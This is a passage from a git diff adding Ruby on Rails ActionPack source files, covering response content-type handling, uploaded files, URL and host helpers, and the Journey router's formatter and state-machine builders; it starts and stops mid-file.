+    NullContentTypeHeader = ContentTypeHeader.new nil, nil
+
+    def parse_content_type(content_type)
+      if content_type
+        type, charset = content_type.split(/;\s*charset=/)
+        type = nil if type && type.empty?
+        ContentTypeHeader.new(type, charset)
+      else
+        NullContentTypeHeader
+      end
+    end
+
+    # Small internal convenience method to get the parsed version of the current
+    # content type header.
+    def parsed_content_type_header
+      parse_content_type(get_header(CONTENT_TYPE))
+    end
+
+    def set_content_type(content_type, charset)
+      type = (content_type || "").dup
+      type << "; charset=#{charset.to_s.downcase}" if charset
+      set_header CONTENT_TYPE, type
+    end
+
+    def before_committed
+      return if committed?
+      assign_default_content_type_and_charset!
+      handle_conditional_get!
+      handle_no_content!
+    end
+
+    def before_sending
+      # Normally we've already committed by now, but it's possible
+      # (e.g., if the controller action tries to read back its own
+      # response) to get here before that. In that case, we must force
+      # an "early" commit: we're about to freeze the headers, so this is
+      # our last chance.
+      commit! unless committed?
+
+      headers.freeze
+      request.commit_cookie_jar! unless committed?
+    end
+
+    def build_buffer(response, body)
+      Buffer.new response, body
+    end
+
+    def munge_body_object(body)
+      body.respond_to?(:each) ? body : [body]
+    end
+
+    def assign_default_content_type_and_charset!
+      return if content_type
+
+      ct = parsed_content_type_header
+      set_content_type(ct.mime_type || Mime[:html].to_s,
+                       ct.charset || self.class.default_charset)
+    end
+
+    class RackBody
+      def initialize(response)
+        @response = response
+      end
+
+      def each(*args, &block)
+        @response.each(*args, &block)
+      end
+
+      def close
+        # Rack "close" maps to Response#abort, and *not* Response#close
+        # (which is used when the controller's finished writing)
+        @response.abort
+      end
+
+      def body
+        @response.body
+      end
+
+      def respond_to?(method, include_private = false)
+        if method.to_s == "to_path"
+          @response.stream.respond_to?(method)
+        else
+          super
+        end
+      end
+
+      def to_path
+        @response.stream.to_path
+      end
+
+      def to_ary
+        nil
+      end
+    end
+
+    def handle_no_content!
+      if NO_CONTENT_CODES.include?(@status)
+        @header.delete CONTENT_TYPE
+        @header.delete "Content-Length"
+      end
+    end
+
+    def rack_response(status, header)
+      if NO_CONTENT_CODES.include?(status)
+        [status, header, []]
+      else
+        [status, header, RackBody.new(self)]
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/http/upload.rb b/actionpack/lib/action_dispatch/http/upload.rb
new file mode 100644
index 0000000000..0b162dc7f1
--- /dev/null
+++ b/actionpack/lib/action_dispatch/http/upload.rb
@@ -0,0 +1,84 @@
+# frozen_string_literal: true
+
+module ActionDispatch
+  module Http
+    # Models uploaded files.
+    #
+    # The actual file is accessible via the +tempfile+ accessor, though some
+    # of its interface is available directly for convenience.
+    #
+    # Uploaded files are temporary files whose lifespan is one request. When
+    # the object is finalized Ruby unlinks the file, so there is no need to
+    # clean them with a separate maintenance task.
+    class UploadedFile
+      # The basename of the file in the client.
+      attr_accessor :original_filename
+
+      # A string with the MIME type of the file.
+      attr_accessor :content_type
+
+      # A +Tempfile+ object with the actual uploaded file. Note that some of
+      # its interface is available directly.
+      attr_accessor :tempfile
+      alias :to_io :tempfile
+
+      # A string with the headers of the multipart request.
+      attr_accessor :headers
+
+      def initialize(hash) # :nodoc:
+        @tempfile = hash[:tempfile]
+        raise(ArgumentError, ":tempfile is required") unless @tempfile
+
+        if hash[:filename]
+          @original_filename = hash[:filename].dup
+
+          begin
+            @original_filename.encode!(Encoding::UTF_8)
+          rescue EncodingError
+            @original_filename.force_encoding(Encoding::UTF_8)
+          end
+        else
+          @original_filename = nil
+        end
+
+        @content_type      = hash[:type]
+        @headers           = hash[:head]
+      end
+
+      # Shortcut for +tempfile.read+.
+      def read(length = nil, buffer = nil)
+        @tempfile.read(length, buffer)
+      end
+
+      # Shortcut for +tempfile.open+.
+      def open
+        @tempfile.open
+      end
+
+      # Shortcut for +tempfile.close+.
+      def close(unlink_now = false)
+        @tempfile.close(unlink_now)
+      end
+
+      # Shortcut for +tempfile.path+.
+      def path
+        @tempfile.path
+      end
+
+      # Shortcut for +tempfile.rewind+.
+      def rewind
+        @tempfile.rewind
+      end
+
+      # Shortcut for +tempfile.size+.
+      def size
+        @tempfile.size
+      end
+
+      # Shortcut for +tempfile.eof?+.
+      def eof?
+        @tempfile.eof?
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/http/url.rb b/actionpack/lib/action_dispatch/http/url.rb
new file mode 100644
index 0000000000..f0344fd927
--- /dev/null
+++ b/actionpack/lib/action_dispatch/http/url.rb
@@ -0,0 +1,350 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/module/attribute_accessors"
+
+module ActionDispatch
+  module Http
+    module URL
+      IP_HOST_REGEXP  = /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/
+      HOST_REGEXP     = /(^[^:]+:\/\/)?(\[[^\]]+\]|[^:]+)(?::(\d+$))?/
+      PROTOCOL_REGEXP = /^([^:]+)(:)?(\/\/)?$/
+
+      mattr_accessor :tld_length, default: 1
+
+      class << self
+        # Returns the domain part of a host given the domain level.
+        #
+        #    # Top-level domain example
+        #    extract_domain('www.example.com', 1) # => "example.com"
+        #    # Second-level domain example
+        #    extract_domain('dev.www.example.co.uk', 2) # => "example.co.uk"
+        def extract_domain(host, tld_length)
+          extract_domain_from(host, tld_length) if named_host?(host)
+        end
+
+        # Returns the subdomains of a host as an Array given the domain level.
+        #
+        #    # Top-level domain example
+        #    extract_subdomains('www.example.com', 1) # => ["www"]
+        #    # Second-level domain example
+        #    extract_subdomains('dev.www.example.co.uk', 2) # => ["dev", "www"]
+        def extract_subdomains(host, tld_length)
+          if named_host?(host)
+            extract_subdomains_from(host, tld_length)
+          else
+            []
+          end
+        end
+
+        # Returns the subdomains of a host as a String given the domain level.
+        #
+        #    # Top-level domain example
+        #    extract_subdomain('www.example.com', 1) # => "www"
+        #    # Second-level domain example
+        #    extract_subdomain('dev.www.example.co.uk', 2) # => "dev.www"
+        def extract_subdomain(host, tld_length)
+          extract_subdomains(host, tld_length).join(".")
+        end
+
+        def url_for(options)
+          if options[:only_path]
+            path_for options
+          else
+            full_url_for options
+          end
+        end
+
+        def full_url_for(options)
+          host     = options[:host]
+          protocol = options[:protocol]
+          port     = options[:port]
+
+          unless host
+            raise ArgumentError, "Missing host to link to! Please provide the :host parameter, set default_url_options[:host], or set :only_path to true"
+          end
+
+          build_host_url(host, port, protocol, options, path_for(options))
+        end
+
+        def path_for(options)
+          path = options[:script_name].to_s.chomp("/".freeze)
+          path << options[:path] if options.key?(:path)
+
+          add_trailing_slash(path) if options[:trailing_slash]
+          add_params(path, options[:params]) if options.key?(:params)
+          add_anchor(path, options[:anchor]) if options.key?(:anchor)
+
+          path
+        end
+
+        private
+
+        def add_params(path, params)
+          params = { params: params } unless params.is_a?(Hash)
+          params.reject! { |_, v| v.to_param.nil? }
+          query = params.to_query
+          path << "?#{query}" unless query.empty?
+        end
+
+        def add_anchor(path, anchor)
+          if anchor
+            path << "##{Journey::Router::Utils.escape_fragment(anchor.to_param)}"
+          end
+        end
+
+        def extract_domain_from(host, tld_length)
+          host.split(".").last(1 + tld_length).join(".")
+        end
+
+        def extract_subdomains_from(host, tld_length)
+          parts = host.split(".")
+          parts[0..-(tld_length + 2)]
+        end
+
+        def add_trailing_slash(path)
+          if path.include?("?")
+            path.sub!(/\?/, '/\&')
+          elsif !path.include?(".")
+            path.sub!(/[^\/]\z|\A\z/, '\&/')
+          end
+        end
+
+        def build_host_url(host, port, protocol, options, path)
+          if match = host.match(HOST_REGEXP)
+            protocol ||= match[1] unless protocol == false
+            host       = match[2]
+            port       = match[3] unless options.key? :port
+          end
+
+          protocol = normalize_protocol protocol
+          host     = normalize_host(host, options)
+
+          result = protocol.dup
+
+          if options[:user] && options[:password]
+            result << "#{Rack::Utils.escape(options[:user])}:#{Rack::Utils.escape(options[:password])}@"
+          end
+
+          result << host
+          normalize_port(port, protocol) { |normalized_port|
+            result << ":#{normalized_port}"
+          }
+
+          result.concat path
+        end
+
+        def named_host?(host)
+          IP_HOST_REGEXP !~ host
+        end
+
+        def normalize_protocol(protocol)
+          case protocol
+          when nil
+            "http://"
+          when false, "//"
+            "//"
+          when PROTOCOL_REGEXP
+            "#{$1}://"
+          else
+            raise ArgumentError, "Invalid :protocol option: #{protocol.inspect}"
+          end
+        end
+
+        def normalize_host(_host, options)
+          return _host unless named_host?(_host)
+
+          tld_length = options[:tld_length] || @@tld_length
+          subdomain  = options.fetch :subdomain, true
+          domain     = options[:domain]
+
+          host = "".dup
+          if subdomain == true
+            return _host if domain.nil?
+
+            host << extract_subdomains_from(_host, tld_length).join(".")
+          elsif subdomain
+            host << subdomain.to_param
+          end
+          host << "." unless host.empty?
+          host << (domain || extract_domain_from(_host, tld_length))
+          host
+        end
+
+        def normalize_port(port, protocol)
+          return unless port
+
+          case protocol
+          when "//" then yield port
+          when "https://"
+            yield port unless port.to_i == 443
+          else
+            yield port unless port.to_i == 80
+          end
+        end
+      end
+
+      def initialize
+        super
+        @protocol = nil
+        @port     = nil
+      end
+
+      # Returns the complete URL used for this request.
+      #
+      #   req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com'
+      #   req.url # => "http://example.com"
+      def url
+        protocol + host_with_port + fullpath
+      end
+
+      # Returns 'https://' if this is an SSL request and 'http://' otherwise.
+      #
+      #   req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com'
+      #   req.protocol # => "http://"
+      #
+      #   req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com', 'HTTPS' => 'on'
+      #   req.protocol # => "https://"
+      def protocol
+        @protocol ||= ssl? ? "https://" : "http://"
+      end
+
+      # Returns the \host and port for this request, such as "example.com:8080".
+      #
+      #   req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com'
+      #   req.raw_host_with_port # => "example.com"
+      #
+      #   req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:80'
+      #   req.raw_host_with_port # => "example.com:80"
+      #
+      #   req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:8080'
+      #   req.raw_host_with_port # => "example.com:8080"
+      def raw_host_with_port
+        if forwarded = x_forwarded_host.presence
+          forwarded.split(/,\s?/).last
+        else
+          get_header("HTTP_HOST") || "#{server_name || server_addr}:#{get_header('SERVER_PORT')}"
+        end
+      end
+
+      # Returns the host for this request, such as "example.com".
+      #
+      #   req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:8080'
+      #   req.host # => "example.com"
+      def host
+        raw_host_with_port.sub(/:\d+$/, "".freeze)
+      end
+
+      # Returns a \host:\port string for this request, such as "example.com" or
+      # "example.com:8080". Port is only included if it is not a default port
+      # (80 or 443)
+      #
+      #   req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com'
+      #   req.host_with_port # => "example.com"
+      #
+      #   req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:80'
+      #   req.host_with_port # => "example.com"
+      #
+      #   req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:8080'
+      #   req.host_with_port # => "example.com:8080"
+      def host_with_port
+        "#{host}#{port_string}"
+      end
+
+      # Returns the port number of this request as an integer.
+      #
+      #   req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com'
+      #   req.port # => 80
+      #
+      #   req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:8080'
+      #   req.port # => 8080
+      def port
+        @port ||= begin
+          if raw_host_with_port =~ /:(\d+)$/
+            $1.to_i
+          else
+            standard_port
+          end
+        end
+      end
+
+      # Returns the standard \port number for this request's protocol.
+      #
+      #   req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:8080'
+      #   req.standard_port # => 80
+      def standard_port
+        case protocol
+        when "https://" then 443
+          else 80
+        end
+      end
+
+      # Returns whether this request is using the standard port
+      #
+      #   req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:80'
+      #   req.standard_port? # => true
+      #
+      #   req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:8080'
+      #   req.standard_port? # => false
+      def standard_port?
+        port == standard_port
+      end
+
+      # Returns a number \port suffix like 8080 if the \port number of this request
+      # is not the default HTTP \port 80 or HTTPS \port 443.
+      #
+      #   req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:80'
+      #   req.optional_port # => nil
+      #
+      #   req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:8080'
+      #   req.optional_port # => 8080
+      def optional_port
+        standard_port? ? nil : port
+      end
+
+      # Returns a string \port suffix, including colon, like ":8080" if the \port
+      # number of this request is not the default HTTP \port 80 or HTTPS \port 443.
+      #
+      #   req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:80'
+      #   req.port_string # => ""
+      #
+      #   req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:8080'
+      #   req.port_string # => ":8080"
+      def port_string
+        standard_port? ? "" : ":#{port}"
+      end
+
+      # Returns the requested port, such as 8080, based on SERVER_PORT
+      #
+      #   req = ActionDispatch::Request.new 'SERVER_PORT' => '80'
+      #   req.server_port # => 80
+      #
+      #   req = ActionDispatch::Request.new 'SERVER_PORT' => '8080'
+      #   req.server_port # => 8080
+      def server_port
+        get_header("SERVER_PORT").to_i
+      end
+
+      # Returns the \domain part of a \host, such as "rubyonrails.org" in "www.rubyonrails.org". You can specify
+      # a different <tt>tld_length</tt>, such as 2 to catch rubyonrails.co.uk in "www.rubyonrails.co.uk".
+      def domain(tld_length = @@tld_length)
+        ActionDispatch::Http::URL.extract_domain(host, tld_length)
+      end
+
+      # Returns all the \subdomains as an array, so <tt>["dev", "www"]</tt> would be
+      # returned for "dev.www.rubyonrails.org". You can specify a different <tt>tld_length</tt>,
+      # such as 2 to catch <tt>["www"]</tt> instead of <tt>["www", "rubyonrails"]</tt>
+      # in "www.rubyonrails.co.uk".
+      def subdomains(tld_length = @@tld_length)
+        ActionDispatch::Http::URL.extract_subdomains(host, tld_length)
+      end
+
+      # Returns all the \subdomains as a string, so <tt>"dev.www"</tt> would be
+      # returned for "dev.www.rubyonrails.org". You can specify a different <tt>tld_length</tt>,
+      # such as 2 to catch <tt>"www"</tt> instead of <tt>"www.rubyonrails"</tt>
+      # in "www.rubyonrails.co.uk".
+      def subdomain(tld_length = @@tld_length)
+        ActionDispatch::Http::URL.extract_subdomain(host, tld_length)
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/journey.rb b/actionpack/lib/action_dispatch/journey.rb
new file mode 100644
index 0000000000..903063d00f
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+require_relative "journey/router"
+require_relative "journey/gtg/builder"
+require_relative "journey/gtg/simulator"
+require_relative "journey/nfa/builder"
+require_relative "journey/nfa/simulator"
diff --git a/actionpack/lib/action_dispatch/journey/formatter.rb b/actionpack/lib/action_dispatch/journey/formatter.rb
new file mode 100644
index 0000000000..0f04839d9b
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/formatter.rb
@@ -0,0 +1,189 @@
+# frozen_string_literal: true
+
+require "action_controller/metal/exceptions"
+
+module ActionDispatch
+  # :stopdoc:
+  module Journey
+    # The Formatter class is used for formatting URLs. For example, parameters
+    # passed to +url_for+ in Rails will eventually call Formatter#generate.
+    class Formatter
+      attr_reader :routes
+
+      def initialize(routes)
+        @routes = routes
+        @cache  = nil
+      end
+
+      def generate(name, options, path_parameters, parameterize = nil)
+        constraints = path_parameters.merge(options)
+        missing_keys = nil
+
+        match_route(name, constraints) do |route|
+          parameterized_parts = extract_parameterized_parts(route, options, path_parameters, parameterize)
+
+          # Skip this route unless a name has been provided or it is a
+          # standard Rails route since we can't determine whether an options
+          # hash passed to url_for matches a Rack application or a redirect.
+          next unless name || route.dispatcher?
+
+          missing_keys = missing_keys(route, parameterized_parts)
+          next if missing_keys && !missing_keys.empty?
+          params = options.dup.delete_if do |key, _|
+            parameterized_parts.key?(key) || route.defaults.key?(key)
+          end
+
+          defaults       = route.defaults
+          required_parts = route.required_parts
+
+          route.parts.reverse_each do |key|
+            break if defaults[key].nil? && parameterized_parts[key].present?
+            next if parameterized_parts[key].to_s != defaults[key].to_s
+            break if required_parts.include?(key)
+
+            parameterized_parts.delete(key)
+          end
+
+          return [route.format(parameterized_parts), params]
+        end
+
+        unmatched_keys = (missing_keys || []) & constraints.keys
+        missing_keys = (missing_keys || []) - unmatched_keys
+
+        message = "No route matches #{Hash[constraints.sort_by { |k, v| k.to_s }].inspect}".dup
+        message << ", missing required keys: #{missing_keys.sort.inspect}" if missing_keys && !missing_keys.empty?
+        message << ", possible unmatched constraints: #{unmatched_keys.sort.inspect}" if unmatched_keys && !unmatched_keys.empty?
+
+        raise ActionController::UrlGenerationError, message
+      end
+
+      def clear
+        @cache = nil
+      end
+
+      private
+
+        def extract_parameterized_parts(route, options, recall, parameterize = nil)
+          parameterized_parts = recall.merge(options)
+
+          keys_to_keep = route.parts.reverse_each.drop_while { |part|
+            !options.key?(part) || (options[part] || recall[part]).nil?
+          } | route.required_parts
+
+          parameterized_parts.delete_if do |bad_key, _|
+            !keys_to_keep.include?(bad_key)
+          end
+
+          if parameterize
+            parameterized_parts.each do |k, v|
+              parameterized_parts[k] = parameterize.call(k, v)
+            end
+          end
+
+          parameterized_parts.keep_if { |_, v| v }
+          parameterized_parts
+        end
+
+        def named_routes
+          routes.named_routes
+        end
+
+        def match_route(name, options)
+          if named_routes.key?(name)
+            yield named_routes[name]
+          else
+            routes = non_recursive(cache, options)
+
+            supplied_keys = options.each_with_object({}) do |(k, v), h|
+              h[k.to_s] = true if v
+            end
+
+            hash = routes.group_by { |_, r| r.score(supplied_keys) }
+
+            hash.keys.sort.reverse_each do |score|
+              break if score < 0
+
+              hash[score].sort_by { |i, _| i }.each do |_, route|
+                yield route
+              end
+            end
+          end
+        end
+
+        def non_recursive(cache, options)
+          routes = []
+          queue  = [cache]
+
+          while queue.any?
+            c = queue.shift
+            routes.concat(c[:___routes]) if c.key?(:___routes)
+
+            options.each do |pair|
+              queue << c[pair] if c.key?(pair)
+            end
+          end
+
+          routes
+        end
+
+        module RegexCaseComparator
+          DEFAULT_INPUT = /[-_.a-zA-Z0-9]+\/[-_.a-zA-Z0-9]+/
+          DEFAULT_REGEX = /\A#{DEFAULT_INPUT}\Z/
+
+          def self.===(regex)
+            DEFAULT_INPUT == regex
+          end
+        end
+
+        # Returns an array populated with missing keys if any are present.
+        def missing_keys(route, parts)
+          missing_keys = nil
+          tests = route.path.requirements
+          route.required_parts.each { |key|
+            case tests[key]
+            when nil
+              unless parts[key]
+                missing_keys ||= []
+                missing_keys << key
+              end
+            when RegexCaseComparator
+              unless RegexCaseComparator::DEFAULT_REGEX === parts[key]
+                missing_keys ||= []
+                missing_keys << key
+              end
+            else
+              unless /\A#{tests[key]}\Z/ === parts[key]
+                missing_keys ||= []
+                missing_keys << key
+              end
+            end
+          }
+          missing_keys
+        end
+
+        def possibles(cache, options, depth = 0)
+          cache.fetch(:___routes) { [] } + options.find_all { |pair|
+            cache.key?(pair)
+          }.flat_map { |pair|
+            possibles(cache[pair], options, depth + 1)
+          }
+        end
+
+        def build_cache
+          root = { ___routes: [] }
+          routes.routes.each_with_index do |route, i|
+            leaf = route.required_defaults.inject(root) do |h, tuple|
+              h[tuple] ||= {}
+            end
+            (leaf[:___routes] ||= []) << [i, route]
+          end
+          root
+        end
+
+        def cache
+          @cache ||= build_cache
+        end
+    end
+  end
+  # :startdoc:
+end
diff --git a/actionpack/lib/action_dispatch/journey/gtg/builder.rb b/actionpack/lib/action_dispatch/journey/gtg/builder.rb
new file mode 100644
index 0000000000..7e3d957baa
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/gtg/builder.rb
@@ -0,0 +1,164 @@
+# frozen_string_literal: true
+
+require_relative "transition_table"
+
+module ActionDispatch
+  module Journey # :nodoc:
+    module GTG # :nodoc:
+      class Builder # :nodoc:
+        DUMMY = Nodes::Dummy.new
+
+        attr_reader :root, :ast, :endpoints
+
+        def initialize(root)
+          @root      = root
+          @ast       = Nodes::Cat.new root, DUMMY
+          @followpos = nil
+        end
+
+        def transition_table
+          dtrans   = TransitionTable.new
+          marked   = {}
+          state_id = Hash.new { |h, k| h[k] = h.length }
+
+          start   = firstpos(root)
+          dstates = [start]
+          until dstates.empty?
+            s = dstates.shift
+            next if marked[s]
+            marked[s] = true # mark s
+
+            s.group_by { |state| symbol(state) }.each do |sym, ps|
+              u = ps.flat_map { |l| followpos(l) }
+              next if u.empty?
+
+              if u.uniq == [DUMMY]
+                from = state_id[s]
+                to   = state_id[Object.new]
+                dtrans[from, to] = sym
+
+                dtrans.add_accepting(to)
+                ps.each { |state| dtrans.add_memo(to, state.memo) }
+              else
+                dtrans[state_id[s], state_id[u]] = sym
+
+                if u.include?(DUMMY)
+                  to = state_id[u]
+
+                  accepting = ps.find_all { |l| followpos(l).include?(DUMMY) }
+
+                  accepting.each { |accepting_state|
+                    dtrans.add_memo(to, accepting_state.memo)
+                  }
+
+                  dtrans.add_accepting(state_id[u])
+                end
+              end
+
+              dstates << u
+            end
+          end
+
+          dtrans
+        end
+
+        def nullable?(node)
+          case node
+          when Nodes::Group
+            true
+          when Nodes::Star
+            true
+          when Nodes::Or
+            node.children.any? { |c| nullable?(c) }
+          when Nodes::Cat
+            nullable?(node.left) && nullable?(node.right)
+          when Nodes::Terminal
+            !node.left
+          when Nodes::Unary
+            nullable?(node.left)
+          else
+            raise ArgumentError, "unknown nullable: %s" % node.class.name
+          end
+        end
+
+        def firstpos(node)
+          case node
+          when Nodes::Star
+            firstpos(node.left)
+          when Nodes::Cat
+            if nullable?(node.left)
+              firstpos(node.left) | firstpos(node.right)
+            else
+              firstpos(node.left)
+            end
+          when Nodes::Or
+            node.children.flat_map { |c| firstpos(c) }.uniq
+          when Nodes::Unary
+            firstpos(node.left)
+          when Nodes::Terminal
+            nullable?(node) ? [] : [node]
+          else
+            raise ArgumentError, "unknown firstpos: %s" % node.class.name
+          end
+        end
+
+        def lastpos(node)
+          case node
+          when Nodes::Star
+            firstpos(node.left)
+          when Nodes::Or
+            node.children.flat_map { |c| lastpos(c) }.uniq
+          when Nodes::Cat
+            if nullable?(node.right)
+              lastpos(node.left) | lastpos(node.right)
+            else
+              lastpos(node.right)
+            end
+          when Nodes::Terminal
+            nullable?(node) ? [] : [node]
+          when Nodes::Unary
+            lastpos(node.left)
+          else
+            raise ArgumentError, "unknown lastpos: %s" % node.class.name
+          end
+        end
+
+        def followpos(node)
+          followpos_table[node]
+        end
+
+        private
+
+          def followpos_table
+            @followpos ||= build_followpos
+          end
+
+          def build_followpos
+            table = Hash.new { |h, k| h[k] = [] }
+            @ast.each do |n|
+              case n
+              when Nodes::Cat
+                lastpos(n.left).each do |i|
+                  table[i] += firstpos(n.right)
+                end
+              when Nodes::Star
+                lastpos(n).each do |i|
+                  table[i] += firstpos(n)
+                end
+              end
+            end
+            table
+          end
+
+          def symbol(edge)
+            case edge
+            when Journey::Nodes::Symbol
+              edge.regexp
+            else
+              edge.left
+            end
+          end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/journey/gtg/simulator.rb b/actionpack/lib/action_dispatch/journey/gtg/simulator.rb
new file mode 100644
index 0000000000..2ee4f5c30c
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/gtg/simulator.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+require "strscan"
+
+module ActionDispatch
+  module Journey # :nodoc:
+    module GTG # :nodoc:
+      class MatchData # :nodoc:
+        attr_reader :memos
+
+        def initialize(memos)
+          @memos = memos
+        end
+      end
+
+      class Simulator # :nodoc:
+        attr_reader :tt
+
+        def initialize(transition_table)
+          @tt = transition_table
+        end
+
+        def memos(string)
+          input = StringScanner.new(string)
+          state = [0]
+          while sym = input.scan(%r([/.?]|[^/.?]+))
+            state = tt.move(state, sym)
+          end
+
+          acceptance_states = state.find_all { |s|
+            tt.accepting? s
+          }
+
+          return yield if acceptance_states.empty?
+
+          acceptance_states.flat_map { |x| tt.memo(x) }.compact
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/journey/gtg/transition_table.rb b/actionpack/lib/action_dispatch/journey/gtg/transition_table.rb
new file mode 100644
index 0000000000..6ed478f816
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/gtg/transition_table.rb
@@ -0,0 +1,158 @@
+# frozen_string_literal: true
+
+require_relative "../nfa/dot"
+
+module ActionDispatch
+  module Journey # :nodoc:
+    module GTG # :nodoc:
+      class TransitionTable # :nodoc:
+        include Journey::NFA::Dot
+
+        attr_reader :memos
+
+        def initialize
+          @regexp_states = {}
+          @string_states = {}
+          @accepting     = {}
+          @memos         = Hash.new { |h, k| h[k] = [] }
+        end
+
+        def add_accepting(state)
+          @accepting[state] = true
+        end
+
+        def accepting_states
+          @accepting.keys
+        end
+
+        def accepting?(state)
+          @accepting[state]
+        end
+
+        def add_memo(idx, memo)
+          @memos[idx] << memo
+        end
+
+        def memo(idx)
+          @memos[idx]
+        end
+
+        def eclosure(t)
+          Array(t)
+        end
+
+        def move(t, a)
+          return [] if t.empty?
+
+          regexps = []
+
+          t.map { |s|
+            if states = @regexp_states[s]
+              regexps.concat states.map { |re, v| re === a ? v : nil }
+            end
+
+            if states = @string_states[s]
+              states[a]
+            end
+          }.compact.concat regexps
+        end
+
+        def as_json(options = nil)
+          simple_regexp = Hash.new { |h, k| h[k] = {} }
+
+          @regexp_states.each do |from, hash|
+            hash.each do |re, to|
+              simple_regexp[from][re.source] = to
+            end
+          end
+
+          {
+            regexp_states: simple_regexp,
+            string_states: @string_states,
+            accepting:     @accepting
+          }
+        end
+
+        def to_svg
+          svg = IO.popen("dot -Tsvg", "w+") { |f|
+            f.write(to_dot)
+            f.close_write
+            f.readlines
+          }
+          3.times { svg.shift }
+          svg.join.sub(/width="[^"]*"/, "").sub(/height="[^"]*"/, "")
+        end
+
+        def visualizer(paths, title = "FSM")
+          viz_dir   = File.join __dir__, "..", "visualizer"
+          fsm_js    = File.read File.join(viz_dir, "fsm.js")
+          fsm_css   = File.read File.join(viz_dir, "fsm.css")
+          erb       = File.read File.join(viz_dir, "index.html.erb")
+          states    = "function tt() { return #{to_json}; }"
+
+          fun_routes = paths.sample(3).map do |ast|
+            ast.map { |n|
+              case n
+              when Nodes::Symbol
+                case n.left
+                when ":id" then rand(100).to_s
+                when ":format" then %w{ xml json }.sample
+                else
+                  "omg"
+                end
+              when Nodes::Terminal then n.symbol
+              else
+                nil
+              end
+            }.compact.join
+          end
+
+          stylesheets = [fsm_css]
+          svg         = to_svg
+          javascripts = [states, fsm_js]
+
+          fun_routes  = fun_routes
+          stylesheets = stylesheets
+          svg         = svg
+          javascripts = javascripts
+
+          require "erb"
+          template = ERB.new erb
+          template.result(binding)
+        end
+
+        def []=(from, to, sym)
+          to_mappings = states_hash_for(sym)[from] ||= {}
+          to_mappings[sym] = to
+        end
+
+        def states
+          ss = @string_states.keys + @string_states.values.flat_map(&:values)
+          rs = @regexp_states.keys + @regexp_states.values.flat_map(&:values)
+          (ss + rs).uniq
+        end
+
+        def transitions
+          @string_states.flat_map { |from, hash|
+            hash.map { |s, to| [from, s, to] }
+          } + @regexp_states.flat_map { |from, hash|
+            hash.map { |s, to| [from, s, to] }
+          }
+        end
+
+        private
+
+          def states_hash_for(sym)
+            case sym
+            when String
+              @string_states
+            when Regexp
+              @regexp_states
+            else
+              raise ArgumentError, "unknown symbol: %s" % sym.class
+            end
+          end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/journey/nfa/builder.rb b/actionpack/lib/action_dispatch/journey/nfa/builder.rb
new file mode 100644
index 0000000000..3135c05ffa
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/nfa/builder.rb
@@ -0,0 +1,78 @@
+# frozen_string_literal: true
+
+require_relative "transition_table"
+require_relative "../gtg/transition_table"
+
+module ActionDispatch
+  module Journey # :nodoc:
+    module NFA # :nodoc:
+      class Visitor < Visitors::Visitor # :nodoc:
+        def initialize(tt)
+          @tt = tt
+          @i  = -1
+        end
+
+        def visit_CAT(node)
+          left  = visit(node.left)
+          right = visit(node.right)
+
+          @tt.merge(left.last, right.first)
+
+          [left.first, right.last]
+        end
+
+        def visit_GROUP(node)
+          from  = @i += 1
+          left  = visit(node.left)
+          to    = @i += 1
+
+          @tt.accepting = to
+
+          @tt[from, left.first] = nil
+          @tt[left.last, to] = nil
+          @tt[from, to] = nil
+
+          [from, to]
+        end
+
+        def visit_OR(node)
+          from = @i += 1
+          children = node.children.map { |c| visit(c) }
+          to = @i += 1
+
+          children.each do |child|
+            @tt[from, child.first] = nil
+            @tt[child.last, to]    = nil
+          end
+
+          @tt.accepting = to
+
+          [from, to]
+        end
+
+        def terminal(node)
+          from_i = @i += 1 # new state
+          to_i   = @i += 1 # new state
+
+          @tt[from_i, to_i] = node
+          @tt.accepting = to_i
+          @tt.add_memo(to_i, node.memo)
+
+          [from_i, to_i]
+        end
+      end
+
+      class Builder # :nodoc:
+        def initialize(ast)
+          @ast = ast
+        end
+
+        def transition_table
+          tt = TransitionTable.new
+          Visitor.new(tt).accept(@ast)
+          tt
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/journey/nfa/dot.rb b/actionpack/lib/action_dispatch/journey/nfa/dot.rb
new file mode 100644
index 0000000000..bdb78d8d48
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/nfa/dot.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+module ActionDispatch
+  module Journey # :nodoc:
+    module NFA # :nodoc:
+      module Dot # :nodoc:
+        def to_dot
+          edges = transitions.map { |from, sym, to|
+            "  #{from} -> #{to} [label=\"#{sym || 'ε'}\"];"
+          }
+
